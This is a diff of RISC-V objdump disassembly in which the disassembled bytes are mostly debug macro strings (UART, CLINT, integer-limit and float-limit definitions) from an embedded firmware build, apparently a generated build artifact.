-     ae0:	495f 4f52 4854      	0x48544f52495f
-     ae6:	7c20                	flw	fs0,120(s0)
-     ae8:	5320                	lw	s0,96(a4)
-     aea:	495f 4f57 4854      	0x48544f57495f
-     af0:	7c20                	flw	fs0,120(s0)
-     af2:	5320                	lw	s0,96(a4)
-     af4:	495f 4f58 4854      	0x48544f58495f
-     afa:	0029                	c.nop	10
-     afc:	7269                	lui	tp,0xffffa
-     afe:	5f71                	li	t5,-4
-     b00:	6e69                	lui	t3,0x1a
-     b02:	5f727473          	csrrci	s0,0x5f7,4
-     b06:	616d                	addi	sp,sp,240
-     b08:	0078                	addi	a4,sp,12
-     b0a:	5f5f 6c61 6769      	0x67696c615f5f
-     b10:	656e                	flw	fa0,216(sp)
-     b12:	2864                	fld	fs1,208(s0)
-     b14:	2978                	fld	fa4,208(a0)
+      d4:	465f 4f4c 5441      	0x54414f4c465f
+      da:	575f 524f 5f44      	0x5f44524f575f
+      e0:	4544524f          	0x4544524f
+      e4:	5f52                	lw	t5,52(sp)
+      e6:	205f 5f5f 524f      	0x524f5f5f205f
+      ec:	4544                	lw	s1,12(a0)
+      ee:	5f52                	lw	t5,52(sp)
+      f0:	494c                	lw	a1,20(a0)
+      f2:	5454                	lw	a3,44(s0)
+      f4:	454c                	lw	a1,12(a0)
+      f6:	455f 444e 4149      	0x4149444e455f
+      fc:	5f4e                	lw	t5,240(sp)
+      fe:	005f 5f53 4549      	0x45495f53005f
+     104:	4558                	lw	a4,12(a0)
+     106:	30302043          	fmadd.s	ft0,ft0,ft3,ft6,rdn
+     10a:	3030                	fld	fa2,96(s0)
+     10c:	3031                	jal	fffff918 <_heap_end+0x7fff1118>
+     10e:	0030                	addi	a2,sp,8
+     110:	6c61                	lui	s8,0x18
+     112:	6f6c                	flw	fa1,92(a4)
+     114:	43006163          	bltu	zero,a6,536 <__stack_size-0x2ca>
+     118:	494c                	lw	a1,20(a0)
+     11a:	544e                	lw	s0,240(sp)
+     11c:	425f 5341 2045      	0x20455341425f
+     122:	7830                	flw	fa2,112(s0)
+     124:	3230                	fld	fa2,96(a2)
+     126:	3030                	fld	fa2,96(s0)
+     128:	3030                	fld	fa2,96(s0)
+     12a:	3030                	fld	fa2,96(s0)
+     12c:	5f00                	lw	s0,56(a4)
+     12e:	415f4353          	0x415f4353
+     132:	5056                	0x5056
+     134:	5948                	lw	a0,52(a0)
+     136:	41505f53          	0x41505f53
+     13a:	20534547          	fmsub.s	fa0,ft6,ft5,ft4,rmm
+     13e:	3231                	jal	fffffa4a <_heap_end+0x7fff124a>
+     140:	5500                	lw	s0,40(a0)
+     142:	4e49                	li	t3,18
+     144:	5f54                	lw	a3,60(a4)
+     146:	4146                	lw	sp,80(sp)
+     148:	32335453          	0x32335453
+     14c:	4d5f 5841 5f00      	0x5f0058414d5f
+     152:	4552                	lw	a0,20(sp)
+     154:	4e45                	li	t3,17
+     156:	5f54                	lw	a3,60(a4)
+     158:	364c                	fld	fa1,168(a2)
+     15a:	4134                	lw	a3,64(a0)
+     15c:	425f 4655 7028      	0x70284655425f
+     162:	7274                	flw	fa3,100(a2)
+     164:	2029                	jal	16e <__stack_size-0x692>
+     166:	2828                	fld	fa0,80(s0)
+     168:	7470                	flw	fa2,108(s0)
+     16a:	2972                	fld	fs2,280(sp)
+     16c:	3e2d                	jal	fffffca6 <_heap_end+0x7fff14a6>
+     16e:	6e5f 7765 5f2e      	0x5f2e77656e5f
+     174:	6572                	flw	fa0,28(sp)
+     176:	6e65                	lui	t3,0x19
+     178:	2e74                	fld	fa3,216(a2)
+     17a:	6c5f 3436 5f61      	0x5f6134366c5f
+     180:	7562                	flw	fa0,56(sp)
+     182:	2966                	fld	fs2,88(sp)
+     184:	5f00                	lw	s0,56(a4)
+     186:	535f4353          	0x535f4353
+     18a:	4749                	li	a4,18
+     18c:	5551                	li	a0,-12
+     18e:	5545                	li	a0,-15
+     190:	5f45                	li	t5,-15
+     192:	414d                	li	sp,19
+     194:	2058                	fld	fa4,128(s0)
+     196:	3831                	jal	fffff9b2 <_heap_end+0x7fff11b2>
+     198:	5f00                	lw	s0,56(a4)
+     19a:	465f 544c 3233      	0x3233544c465f
+     1a0:	445f 4749 5f5f      	0x5f5f4749445f
+     1a6:	3620                	fld	fs0,104(a2)
+     1a8:	5f00                	lw	s0,56(a4)
+     1aa:	41484357          	0x41484357
+     1ae:	5f52                	lw	t5,52(sp)
+     1b0:	5f54                	lw	a3,60(a4)
+     1b2:	4544                	lw	s1,12(a0)
+     1b4:	4946                	lw	s2,80(sp)
+     1b6:	454e                	lw	a0,208(sp)
+     1b8:	2044                	fld	fs1,128(s0)
+     1ba:	5000                	lw	s0,32(s0)
+     1bc:	494c                	lw	a1,20(a0)
+     1be:	45525f43          	0x45525f43
+     1c2:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+     1c6:	7366                	flw	ft6,120(sp)
+     1c8:	7465                	lui	s0,0xffff9
+     1ca:	2029                	jal	1d4 <__stack_size-0x62c>
+     1cc:	525f 4745 3233      	0x32334745525f
+     1d2:	5028                	lw	a0,96(s0)
+     1d4:	494c                	lw	a1,20(a0)
+     1d6:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
+     1da:	202c4553          	0x202c4553
+     1de:	7366666f          	jal	a2,66914 <__stack_size+0x66114>
+     1e2:	7465                	lui	s0,0xffff9
+     1e4:	0029                	c.nop	10
+     1e6:	535f 5f43 4556      	0x45565f43535f
+     1ec:	5352                	lw	t1,52(sp)
+     1ee:	4f49                	li	t5,18
+     1f0:	204e                	fld	ft0,208(sp)
+     1f2:	48530037          	lui	zero,0x48530
+     1f6:	5452                	lw	s0,52(sp)
+     1f8:	4d5f 5841 5f20      	0x5f2058414d5f
+     1fe:	535f 5248 5f54      	0x5f545248535f
+     204:	414d                	li	sp,19
+     206:	5f58                	lw	a4,60(a4)
+     208:	005f 5f5f 494d      	0x494d5f5f005f
+     20e:	565f4353          	0x565f4353
+     212:	5349                	li	t1,-14
+     214:	4249                	li	tp,18
+     216:	454c                	lw	a1,12(a0)
+     218:	3120                	fld	fs0,96(a0)
+     21a:	5f00                	lw	s0,56(a4)
+     21c:	4c5f4353          	0x4c5f4353
+     220:	5645                	li	a2,-15
+     222:	4c45                	li	s8,17
+     224:	41435f33          	sra	t5,t1,s4
+     228:	5f454843          	fmadd.q	fa6,fa0,fs4,fa1,rmm
+     22c:	5341                	li	t1,-16
+     22e:	20434f53          	0x20434f53
+     232:	3331                	jal	ffffff3e <_heap_end+0x7fff173e>
+     234:	0035                	c.nop	13
+     236:	5f5f 4e49 5f54      	0x5f544e495f5f
+     23c:	4146                	lw	sp,80(sp)
+     23e:	36315453          	0x36315453
+     242:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     248:	3020                	fld	fs0,96(s0)
+     24a:	3778                	fld	fa4,232(a4)
+     24c:	6666                	flw	fa2,88(sp)
+     24e:	6666                	flw	fa2,88(sp)
+     250:	6666                	flw	fa2,88(sp)
+     252:	0066                	c.slli	zero,0x19
+     254:	5f5f 5753 4449      	0x444957535f5f
+     25a:	3020                	fld	fs0,96(s0)
+     25c:	3278                	fld	fa4,224(a2)
+     25e:	3030                	fld	fa2,96(s0)
+     260:	0030                	addi	a2,sp,8
+     262:	525f 4545 544e      	0x544e4545525f
+     268:	435f 4548 4b43      	0x4b434548435f
+     26e:	525f 4e41 3444      	0x34444e41525f
+     274:	2838                	fld	fa4,80(s0)
+     276:	7470                	flw	fa2,108(s0)
+     278:	2972                	fld	fs2,280(sp)
+     27a:	0020                	addi	s0,sp,8
+     27c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+     280:	485f 4749 5f48      	0x5f484749485f
+     286:	5049                	c.li	zero,-14
+     288:	3020                	fld	fs0,96(s0)
+     28a:	3278                	fld	fa4,224(a2)
+     28c:	49550043          	fmadd.s	ft0,fa0,fs5,fs1,rne
+     290:	544e                	lw	s0,240(sp)
+     292:	4c5f 4145 5453      	0x545341454c5f
+     298:	3631                	jal	fffffda4 <_heap_end+0x7fff15a4>
+     29a:	4d5f 5841 5500      	0x550058414d5f
+     2a0:	4e49                	li	t3,18
+     2a2:	5f54                	lw	a3,60(a4)
+     2a4:	454c                	lw	a1,12(a0)
+     2a6:	5341                	li	t1,-16
+     2a8:	3854                	fld	fa3,176(s0)
+     2aa:	4d5f 5841 5f20      	0x5f2058414d5f
+     2b0:	555f 4e49 5f54      	0x5f544e49555f
+     2b6:	454c                	lw	a1,12(a0)
+     2b8:	5341                	li	t1,-16
+     2ba:	3854                	fld	fa3,176(s0)
+     2bc:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     2c2:	5f00                	lw	s0,56(a4)
+     2c4:	465f 544c 4d5f      	0x4d5f544c465f
+     2ca:	5841                	li	a6,-16
+     2cc:	315f 5f30 5845      	0x58455f30315f
+     2d2:	5f50                	lw	a2,60(a4)
+     2d4:	205f 3833 5f00      	0x5f003833205f
+     2da:	535f 4749 415f      	0x415f4749535f
+     2e0:	4f54                	lw	a3,28(a4)
+     2e2:	494d                	li	s2,19
+     2e4:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
+     2e8:	5f58                	lw	a4,60(a4)
+     2ea:	205f 7830 6637      	0x66377830205f
+     2f0:	6666                	flw	fa2,88(sp)
+     2f2:	6666                	flw	fa2,88(sp)
+     2f4:	6666                	flw	fa2,88(sp)
+     2f6:	5f00                	lw	s0,56(a4)
+     2f8:	544e4957          	0x544e4957
+     2fc:	545f 0020 4e49      	0x4e490020545f
+     302:	5f54                	lw	a3,60(a4)
+     304:	454c                	lw	a1,12(a0)
+     306:	5341                	li	t1,-16
+     308:	3154                	fld	fa3,160(a0)
+     30a:	5f36                	lw	t5,108(sp)
+     30c:	494d                	li	s2,19
+     30e:	204e                	fld	ft0,208(sp)
+     310:	2d28                	fld	fa0,88(a0)
+     312:	4e49                	li	t3,18
+     314:	5f54                	lw	a3,60(a4)
+     316:	454c                	lw	a1,12(a0)
+     318:	5341                	li	t1,-16
+     31a:	3154                	fld	fa3,160(a0)
+     31c:	5f36                	lw	t5,108(sp)
+     31e:	414d                	li	sp,19
+     320:	2058                	fld	fa4,128(s0)
+     322:	202d                	jal	34c <__stack_size-0x4b4>
+     324:	2931                	jal	740 <__stack_size-0xc0>
+     326:	4600                	lw	s0,8(a2)
+     328:	445f 5055 4446      	0x44465055445f
+     32e:	435f 4f4c 5845      	0x58454f4c435f
+     334:	4345                	li	t1,17
+     336:	3120                	fld	fs0,96(a0)
+     338:	0034                	addi	a3,sp,8
+     33a:	6566                	flw	fa0,88(sp)
+     33c:	7028666f          	jal	a2,86a3e <__stack_size+0x8623e>
+     340:	2029                	jal	34a <__stack_size-0x4b6>
+     342:	5f5f 6673 6f65      	0x6f6566735f5f
+     348:	2866                	fld	fa6,88(sp)
+     34a:	2970                	fld	fa2,208(a0)
+     34c:	5f00                	lw	s0,56(a4)
+     34e:	735f 6566 7272      	0x72726566735f
+     354:	7028726f          	jal	tp,87a56 <__stack_size+0x87256>
+     358:	2029                	jal	362 <__stack_size-0x49e>
+     35a:	2828                	fld	fa0,80(s0)
+     35c:	6e69                	lui	t3,0x1a
+     35e:	2974                	fld	fa3,208(a0)
+     360:	2828                	fld	fa0,80(s0)
+     362:	7028                	flw	fa0,96(s0)
+     364:	2d29                	jal	97e <__stack_size+0x17e>
+     366:	5f3e                	lw	t5,236(sp)
+     368:	6c66                	flw	fs8,88(sp)
+     36a:	6761                	lui	a4,0x18
+     36c:	20262073          	csrs	hedeleg,a2
+     370:	5f5f 4553 5252      	0x525245535f5f
+     376:	2029                	jal	380 <__stack_size-0x480>
+     378:	3d21                	jal	190 <__stack_size-0x670>
+     37a:	3020                	fld	fs0,96(s0)
+     37c:	2929                	jal	796 <__stack_size-0x6a>
+     37e:	5f00                	lw	s0,56(a4)
+     380:	545f4353          	0x545f4353
+     384:	4152                	lw	sp,20(sp)
+     386:	495f4543          	fmadd.s	fa0,ft10,fs5,fs1,rmm
+     38a:	484e                	lw	a6,208(sp)
+     38c:	5245                	li	tp,-15
+     38e:	5449                	li	s0,-14
+     390:	3820                	fld	fs0,112(s0)
+     392:	0036                	c.slli	zero,0xd
+     394:	4e49                	li	t3,18
+     396:	5f54                	lw	a3,60(a4)
+     398:	454c                	lw	a1,12(a0)
+     39a:	5341                	li	t1,-16
+     39c:	3154                	fld	fa3,160(a0)
+     39e:	5f36                	lw	t5,108(sp)
+     3a0:	494d                	li	s2,19
+     3a2:	004e                	c.slli	zero,0x13
+     3a4:	4c425f53          	0x4c425f53
+     3a8:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
+     3ac:	2045                	jal	44c <__stack_size-0x3b4>
+     3ae:	3031                	jal	fffffbba <_heap_end+0x7fff13ba>
+     3b0:	3432                	fld	fs0,296(sp)
+     3b2:	5200                	lw	s0,32(a2)
+     3b4:	4f5f 204b 0034      	0x34204b4f5f
+     3ba:	435f 4f4c 4b43      	0x4b434f4c435f
+     3c0:	545f 205f 6e75      	0x6e75205f545f
+     3c6:	6e676973          	csrrsi	s2,0x6e6,14
+     3ca:	6465                	lui	s0,0x19
+     3cc:	6c20                	flw	fs0,88(s0)
+     3ce:	00676e6f          	jal	t3,763d4 <__stack_size+0x75bd4>
+     3d2:	5f5f 6168 6576      	0x657661685f5f
+     3d8:	6c5f 6e6f 6c67      	0x6c676e6f6c5f
+     3de:	36676e6f          	jal	t3,76744 <__stack_size+0x75f44>
+     3e2:	2034                	fld	fa3,64(s0)
+     3e4:	0031                	c.nop	12
+     3e6:	5f5f 5450 4452      	0x445254505f5f
+     3ec:	4649                	li	a2,18
+     3ee:	5f46                	lw	t5,112(sp)
+     3f0:	414d                	li	sp,19
+     3f2:	5f58                	lw	a4,60(a4)
+     3f4:	205f 7830 6637      	0x66377830205f
+     3fa:	6666                	flw	fa2,88(sp)
+     3fc:	6666                	flw	fa2,88(sp)
+     3fe:	6666                	flw	fa2,88(sp)
+     400:	4900                	lw	s0,16(a0)
+     402:	544e                	lw	s0,240(sp)
+     404:	3436                	fld	fs0,360(sp)
+     406:	4d5f 4e49 2820      	0x28204e494d5f
+     40c:	492d                	li	s2,11
+     40e:	544e                	lw	s0,240(sp)
+     410:	3436                	fld	fs0,360(sp)
+     412:	4d5f 5841 2d20      	0x2d2058414d5f
+     418:	3120                	fld	fs0,96(a0)
+     41a:	0029                	c.nop	10
+     41c:	495f 544e 414d      	0x414d544e495f
+     422:	5f58                	lw	a4,60(a4)
+     424:	5f54                	lw	a3,60(a4)
+     426:	4544                	lw	s1,12(a0)
+     428:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+     42c:	4445                	li	s0,17
+     42e:	0020                	addi	s0,sp,8
+     430:	5f5f 4c46 3654      	0x36544c465f5f
+     436:	5f34                	lw	a3,120(a4)
+     438:	494d                	li	s2,19
+     43a:	5f4e                	lw	t5,240(sp)
+     43c:	3031                	jal	fffffc48 <_heap_end+0x7fff1448>
+     43e:	455f 5058 5f5f      	0x5f5f5058455f
+     444:	2820                	fld	fs0,80(s0)
+     446:	332d                	jal	170 <__stack_size-0x690>
+     448:	3730                	fld	fa2,104(a4)
+     44a:	0029                	c.nop	10
+     44c:	5442                	lw	s0,48(sp)
+     44e:	314e                	fld	ft2,240(sp)
+     450:	3320                	fld	fs0,96(a4)
+     452:	0030                	addi	a2,sp,8
+     454:	5f5f 4e47 4355      	0x43554e475f5f
+     45a:	494c                	lw	a1,20(a0)
+     45c:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
+     460:	4955                	li	s2,21
+     462:	544c                	lw	a1,44(s0)
+     464:	4e49                	li	t3,18
+     466:	435f 4e4f 5453      	0x54534e4f435f
+     46c:	4e41                	li	t3,16
+     46e:	5f54                	lw	a3,60(a4)
+     470:	2050                	fld	fa2,128(s0)
+     472:	0031                	c.nop	12
+     474:	5f5f 6975 746e      	0x746e69755f5f
+     47a:	5f38                	lw	a4,120(a4)
+     47c:	0074                	addi	a3,sp,12
+     47e:	535f 5f43 4854      	0x48545f43535f
+     484:	4552                	lw	a0,20(sp)
+     486:	4441                	li	s0,16
+     488:	505f 4952 524f      	0x524f4952505f
+     48e:	5449                	li	s0,-14
+     490:	5f59                	li	t5,-10
+     492:	45484353          	0x45484353
+     496:	5544                	lw	s1,44(a0)
+     498:	494c                	lw	a1,20(a0)
+     49a:	474e                	lw	a4,208(sp)
+     49c:	3420                	fld	fs0,104(s0)
+     49e:	0035                	c.nop	13
+     4a0:	5f5f 4357 4148      	0x414843575f5f
+     4a6:	5f52                	lw	t5,52(sp)
+     4a8:	5954                	lw	a3,52(a0)
+     4aa:	4550                	lw	a2,12(a0)
+     4ac:	5f5f 6920 746e      	0x746e69205f5f
+     4b2:	5500                	lw	s0,40(a0)
+     4b4:	4e49                	li	t3,18
+     4b6:	5f54                	lw	a3,60(a4)
+     4b8:	4146                	lw	sp,80(sp)
+     4ba:	34365453          	0x34365453
+     4be:	4d5f 5841 5f00      	0x5f0058414d5f
+     4c4:	705f 6972 746e      	0x746e6972705f
+     4ca:	6c66                	flw	fs8,88(sp)
+     4cc:	6b69                	lui	s6,0x1a
+     4ce:	2865                	jal	586 <__stack_size-0x27a>
+     4d0:	6d66                	flw	fs10,88(sp)
+     4d2:	6174                	flw	fa3,68(a0)
+     4d4:	6772                	flw	fa4,28(sp)
+     4d6:	662c                	flw	fa1,72(a2)
+     4d8:	7269                	lui	tp,0xffffa
+     4da:	61767473          	csrrci	s0,0x617,12
+     4de:	6172                	flw	ft2,28(sp)
+     4e0:	6772                	flw	fa4,28(sp)
+     4e2:	2029                	jal	4ec <__stack_size-0x314>
+     4e4:	5f5f 7461 7274      	0x727474615f5f
+     4ea:	6269                	lui	tp,0x1a
+     4ec:	7475                	lui	s0,0xffffd
+     4ee:	5f65                	li	t5,-7
+     4f0:	285f 5f28 665f      	0x665f5f28285f
+     4f6:	616d726f          	jal	tp,d7b0c <__stack_size+0xd730c>
+     4fa:	5f74                	lw	a3,124(a4)
+     4fc:	205f 5f28 705f      	0x705f5f28205f
+     502:	6972                	flw	fs2,28(sp)
+     504:	746e                	flw	fs0,248(sp)
+     506:	5f66                	lw	t5,120(sp)
+     508:	2c5f 6620 746d      	0x746d66202c5f
+     50e:	7261                	lui	tp,0xffff8
+     510:	66202c67          	0x66202c67
+     514:	7269                	lui	tp,0xffffa
+     516:	61767473          	csrrci	s0,0x617,12
+     51a:	6172                	flw	ft2,28(sp)
+     51c:	6772                	flw	fa4,28(sp)
+     51e:	2929                	jal	938 <__stack_size+0x138>
+     520:	0029                	c.nop	10
+     522:	5f5f 5453 4344      	0x434454535f5f
+     528:	5f5f 3120 5f00      	0x5f0031205f5f
+     52e:	754e                	flw	fa0,240(sp)
+     530:	6c6c                	flw	fa1,92(s0)
+     532:	755f 736e 6570      	0x6570736e755f
+     538:	69666963          	bltu	a2,s6,bca <__stack_size+0x3ca>
+     53c:	6465                	lui	s0,0x19
+     53e:	0020                	addi	s0,sp,8
+     540:	4355                	li	t1,21
+     542:	4148                	lw	a0,4(a0)
+     544:	5f52                	lw	t5,52(sp)
+     546:	414d                	li	sp,19
+     548:	2058                	fld	fa4,128(s0)
+     54a:	5328                	lw	a0,96(a4)
+     54c:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+     550:	4d5f 5841 2a20      	0x2a2058414d5f
+     556:	3220                	fld	fs0,96(a2)
+     558:	2b20                	fld	fs0,80(a4)
+     55a:	3120                	fld	fs0,96(a0)
+     55c:	0029                	c.nop	10
+     55e:	6566                	flw	fa0,88(sp)
+     560:	7272                	flw	ft4,60(sp)
+     562:	755f726f          	jal	tp,f84b6 <__stack_size+0xf7cb6>
+     566:	6c6e                	flw	fs8,216(sp)
+     568:	656b636f          	jal	t1,b6bbe <__stack_size+0xb63be>
+     56c:	2864                	fld	fs1,208(s0)
+     56e:	2970                	fld	fa2,208(a0)
+     570:	5f20                	lw	s0,120(a4)
+     572:	735f 6566 7272      	0x72726566735f
+     578:	7028726f          	jal	tp,87c7a <__stack_size+0x8747a>
+     57c:	0029                	c.nop	10
+     57e:	525f 4145 5f44      	0x5f444145525f
+     584:	54495257          	0x54495257
+     588:	5f45                	li	t5,-15
+     58a:	5542                	lw	a0,48(sp)
+     58c:	5346                	lw	t1,112(sp)
+     58e:	5a49                	li	s4,-14
+     590:	5f45                	li	t5,-15
+     592:	5954                	lw	a3,52(a0)
+     594:	4550                	lw	a2,12(a0)
+     596:	6920                	flw	fs0,80(a0)
+     598:	746e                	flw	fs0,248(sp)
+     59a:	5f00                	lw	s0,56(a4)
+     59c:	505f4353          	0x505f4353
+     5a0:	4741                	li	a4,16
+     5a2:	5f45                	li	t5,-15
+     5a4:	455a4953          	0x455a4953
+     5a8:	5f20                	lw	s0,120(a4)
+     5aa:	505f4353          	0x505f4353
+     5ae:	4741                	li	a4,16
+     5b0:	5345                	li	t1,-15
+     5b2:	5a49                	li	s4,-14
+     5b4:	0045                	c.nop	17
+     5b6:	5f5f 4c46 3354      	0x33544c465f5f
+     5bc:	5f32                	lw	t5,44(sp)
+     5be:	414d                	li	sp,19
+     5c0:	5f58                	lw	a4,60(a4)
+     5c2:	5845                	li	a6,-15
+     5c4:	5f50                	lw	a2,60(a4)
+     5c6:	205f 3231 0038      	0x383231205f
+     5cc:	4155                	li	sp,21
+     5ce:	5452                	lw	s0,52(sp)
+     5d0:	525f 4658 4649      	0x46494658525f
+     5d6:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
+     5da:	3430                	fld	fa2,104(s0)
+     5dc:	5f00                	lw	s0,56(a4)
+     5de:	535f 524f 2044      	0x2044524f535f
+     5e4:	7830                	flw	fa2,112(s0)
+     5e6:	3032                	fld	ft0,296(sp)
+     5e8:	3030                	fld	fa2,96(s0)
+     5ea:	5000                	lw	s0,32(s0)
+     5ec:	494c                	lw	a1,20(a0)
+     5ee:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
+     5f2:	5f49                	li	t5,-14
+     5f4:	46494853          	0x46494853
+     5f8:	5f54                	lw	a3,60(a4)
+     5fa:	4550                	lw	a2,12(a0)
+     5fc:	5f52                	lw	t5,52(sp)
+     5fe:	52554f53          	0x52554f53
+     602:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
+     606:	5f00                	lw	s0,56(a4)
+     608:	555f 4e49 3654      	0x36544e49555f
+     60e:	5f34                	lw	a3,120(a4)
+     610:	5954                	lw	a3,52(a0)
+     612:	4550                	lw	a2,12(a0)
+     614:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+     61a:	6f6c2067          	0x6f6c2067
+     61e:	676e                	flw	fa4,216(sp)
+     620:	7520                	flw	fs0,104(a0)
+     622:	736e                	flw	ft6,248(sp)
+     624:	6769                	lui	a4,0x1a
+     626:	656e                	flw	fa0,216(sp)
+     628:	2064                	fld	fs1,192(s0)
+     62a:	6e69                	lui	t3,0x1a
+     62c:	0074                	addi	a3,sp,12
+     62e:	52495f53          	0x52495f53
+     632:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
+     636:	3030                	fld	fa2,96(s0)
+     638:	3030                	fld	fa2,96(s0)
+     63a:	3030                	fld	fa2,96(s0)
+     63c:	0034                	addi	a3,sp,8
+     63e:	5f5f 4244 5f4c      	0x5f4c42445f5f
+     644:	414d                	li	sp,19
+     646:	5f58                	lw	a4,60(a4)
+     648:	3031                	jal	fffffe54 <_heap_end+0x7fff1654>
+     64a:	455f 5058 5f5f      	0x5f5f5058455f
+     650:	3320                	fld	fs0,96(a4)
+     652:	3830                	fld	fa2,112(s0)
+     654:	4300                	lw	s0,0(a4)
+     656:	4d5f5253          	0x4d5f5253
+     65a:	5048                	lw	a0,36(s0)
+     65c:	434d                	li	t1,19
+     65e:	544e554f          	0x544e554f
+     662:	5245                	li	tp,-15
+     664:	3732                	fld	fa4,296(sp)
+     666:	3220                	fld	fs0,96(a2)
+     668:	0032                	c.slli	zero,0xc
+     66a:	4e49                	li	t3,18
+     66c:	5f54                	lw	a3,60(a4)
+     66e:	454c                	lw	a1,12(a0)
+     670:	5341                	li	t1,-16
+     672:	3354                	fld	fa3,160(a4)
+     674:	5f32                	lw	t5,44(sp)
+     676:	494d                	li	s2,19
+     678:	004e                	c.slli	zero,0x13
+     67a:	5f5f 4955 544e      	0x544e49555f5f
+     680:	465f 5341 3654      	0x36545341465f
+     686:	5f34                	lw	a3,120(a4)
+     688:	414d                	li	sp,19
+     68a:	5f58                	lw	a4,60(a4)
+     68c:	205f 7830 6666      	0x66667830205f
+     692:	6666                	flw	fa2,88(sp)
+     694:	6666                	flw	fa2,88(sp)
+     696:	6666                	flw	fa2,88(sp)
+     698:	6666                	flw	fa2,88(sp)
+     69a:	6666                	flw	fa2,88(sp)
+     69c:	6666                	flw	fa2,88(sp)
+     69e:	6666                	flw	fa2,88(sp)
+     6a0:	4c55                	li	s8,21
+     6a2:	004c                	addi	a1,sp,4
+     6a4:	4c55                	li	s8,21
+     6a6:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+     6aa:	4f4c                	lw	a1,28(a4)
+     6ac:	474e                	lw	a4,208(sp)
+     6ae:	4d5f 5841 5f00      	0x5f0058414d5f
+     6b4:	6d5f 6c61 6f6c      	0x6f6c6c616d5f
+     6ba:	696c5f63          	bge	s8,s6,d58 <__stack_size+0x558>
+     6be:	5f20656b          	0x5f20656b
+     6c2:	615f 7474 6972      	0x69727474615f
+     6c8:	7562                	flw	fa0,56(sp)
+     6ca:	6574                	flw	fa3,76(a0)
+     6cc:	5f5f 2828 5f5f      	0x5f5f28285f5f
+     6d2:	616d                	addi	sp,sp,240
+     6d4:	6c6c                	flw	fa1,92(s0)
+     6d6:	5f5f636f          	jal	t1,f74ca <__stack_size+0xf6cca>
+     6da:	2929                	jal	af4 <__stack_size+0x2f4>
+     6dc:	5f00                	lw	s0,56(a4)
+     6de:	475f 554e 4c43      	0x4c43554e475f
+     6e4:	4b49                	li	s6,18
+     6e6:	5f45                	li	t5,-15
+     6e8:	5f5f 5954 4550      	0x455059545f5f
+     6ee:	3120464f          	fnmadd.s	fa2,ft0,fs2,ft6,rmm
+     6f2:	5f00                	lw	s0,56(a4)
+     6f4:	545f4353          	0x545f4353
+     6f8:	5248                	lw	a0,36(a2)
+     6fa:	4145                	li	sp,17
+     6fc:	5f44                	lw	s1,60(a4)
+     6fe:	45464153          	0x45464153
+     702:	465f 4e55 5443      	0x54434e55465f
+     708:	4f49                	li	t5,18
+     70a:	534e                	lw	t1,240(sp)
+     70c:	3420                	fld	fs0,104(s0)
+     70e:	0039                	c.nop	14
+     710:	535f 5f43 4f58      	0x4f585f43535f
+     716:	4550                	lw	a2,12(a0)
+     718:	5f4e                	lw	t5,240(sp)
+     71a:	5555                	li	a0,-11
+     71c:	31205043          	fmadd.s	ft0,ft0,fs2,ft6,unknown
+     720:	3432                	fld	fs0,296(sp)
+     722:	5f00                	lw	s0,56(a4)
+     724:	445f 4c42 4d5f      	0x4d5f4c42445f
+     72a:	4e49                	li	t3,18
+     72c:	5f5f 2820 6428      	0x642828205f5f
+     732:	6c62756f          	jal	a0,27df8 <__stack_size+0x275f8>
+     736:	2965                	jal	bee <__stack_size+0x3ee>
+     738:	2e32                	fld	ft8,264(sp)
+     73a:	3232                	fld	ft4,296(sp)
+     73c:	3035                	jal	ffffff68 <_heap_end+0x7fff1768>
+     73e:	35383337          	lui	t1,0x35383
+     742:	3538                	fld	fa4,104(a0)
+     744:	3730                	fld	fa2,104(a4)
+     746:	3032                	fld	ft0,296(sp)
+     748:	3331                	jal	454 <__stack_size-0x3ac>
+     74a:	3338                	fld	fa4,96(a4)
+     74c:	3930                	fld	fa2,112(a0)
+     74e:	3230                	fld	fa2,96(a2)
+     750:	31373233          	0x31373233
+     754:	32333337          	lui	t1,0x32333
+     758:	3034                	fld	fa3,96(s0)
+     75a:	3034                	fld	fa3,96(s0)
+     75c:	6536                	flw	fa0,76(sp)
+     75e:	332d                	jal	488 <__stack_size-0x378>
+     760:	3830                	fld	fa2,112(s0)
+     762:	294c                	fld	fa1,144(a0)
+     764:	5f00                	lw	s0,56(a4)
+     766:	535f 5a49 4f45      	0x4f455a49535f
+     76c:	5f46                	lw	t5,112(sp)
+     76e:	4f4c                	lw	a1,28(a4)
+     770:	474e                	lw	a4,208(sp)
+     772:	5f5f 3420 5f00      	0x5f0034205f5f
+     778:	6e5f 6565 5f64      	0x5f6465656e5f
+     77e:	746e6977          	0x746e6977
+     782:	745f 0020 475f      	0x475f0020745f
+     788:	4e5f4343          	fmadd.q	ft6,ft10,ft5,fs1,rmm
+     78c:	5845                	li	a6,-15
+     78e:	5f54                	lw	a3,60(a4)
+     790:	494c                	lw	a1,20(a0)
+     792:	494d                	li	s2,19
+     794:	5354                	lw	a3,36(a4)
+     796:	485f 0020 5f5f      	0x5f5f0020485f
+     79c:	41484357          	0x41484357
+     7a0:	5f52                	lw	t5,52(sp)
+     7a2:	5f54                	lw	a3,60(a4)
+     7a4:	205f 5500 5241      	0x52415500205f
+     7aa:	5f54                	lw	a3,60(a4)
+     7ac:	4944                	lw	s1,20(a0)
+     7ae:	2056                	fld	ft0,336(sp)
+     7b0:	7830                	flw	fa2,112(s0)
+     7b2:	3831                	jal	ffffffce <_heap_end+0x7fff17ce>
+     7b4:	4700                	lw	s0,8(a4)
+     7b6:	4950                	lw	a2,20(a0)
+     7b8:	52445f4f          	fnmadd.d	ft10,fs0,ft4,fa0,unknown
+     7bc:	5649                	li	a2,-14
+     7be:	2045                	jal	85e <__stack_size+0x5e>
+     7c0:	7830                	flw	fa2,112(s0)
